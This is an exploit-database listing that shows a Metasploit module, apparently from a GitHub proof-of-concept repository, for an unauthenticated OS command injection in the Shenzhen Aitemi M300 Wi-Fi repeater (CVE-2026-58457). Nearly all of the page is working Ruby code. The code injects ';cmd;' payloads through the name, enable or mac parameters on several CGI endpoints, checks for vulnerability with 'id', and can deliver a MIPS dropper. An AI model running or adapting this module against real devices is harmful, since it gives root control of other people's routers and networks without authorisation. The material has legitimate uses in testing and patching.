Exploit database

GH-697d718f1e6a5e25b622622b9106818f

j4ck3lsyn-gen2/cve-2026-58457

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-58457

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files7
j4ck3lsyn-gen2/cve-2026-58457Revision 11dcd1a0f276

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

aitemi_m300_smacfilter_rce.rb

Ruby · 3,178 bytes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated OS Command Injection (smacfilter_conf)',
        'Description' => %q{
          This module exploits an unauthenticated OS command injection vulnerability in the
          Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02). The vulnerability exists
          in the smacfilter_conf handler where the 'name', 'enable', or 'mac' GET parameters
          are passed unsanitized into a sprintf() that builds uci commands executed as root.

          Tested on firmware versions vulnerable to CVE-2026-58457.
        },
        'Author' => ['J4ck3LSyN'],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-58457'],
          ['URL', 'https://www.vulncheck.com/advisories/shenzhen-aitemi-m300-mt02-unauthenticated-os-command-injection-via-protocol-csp']
        ],
        'Platform' => %w[linux unix],
        'Arch' => [ARCH_CMD, ARCH_MIPSBE],
        'Targets' => [
          ['Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD }],
          ['Linux MIPSBE Dropper', { 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE }]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2026-07-01',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptBool.new('SSL', [false, 'Use SSL', false]),
        OptString.new('TARGETURI', [true, 'Base path', '/']),
        OptEnum.new('PARAM', [true, 'Vulnerable parameter', 'name', ['name', 'enable', 'mac']]),
        OptString.new('CMD', [false, 'Command to execute (if not using a payload)'])
      ]
    )
  end

  def check
    # Use harmless 'id' command for validation
    res = inject("id")
    return CheckCode::Vulnerable if res && res.body =~ /uid=\d+\(.+\) gid=\d+/

    CheckCode::Safe
  rescue StandardError
    CheckCode::Unknown
  end

  def inject(cmd)
    payload = ";#{cmd};"
    encoded = Rex::Text.uri_encode(payload)

    endpoints = [
      '/goform/smacfilter_conf',
      '/form/smacfilter_conf',
      '/smacfilter_conf',
      '/apply.cgi'
    ]

    endpoints.each do |ep|
      uri = normalize_uri(target_uri.path, ep)
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => "#{uri}?#{datastore['PARAM']}=#{encoded}",
        'ssl' => datastore['SSL']
      })
      return res if res && res.code == 200
    end
    nil
  end

  def exploit
    if target['Arch'] == ARCH_CMD
      cmd = datastore['CMD'] || payload.encoded
      print_status("Executing command: #{cmd}")
      inject(cmd)
    else
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    inject(cmd)
  end
end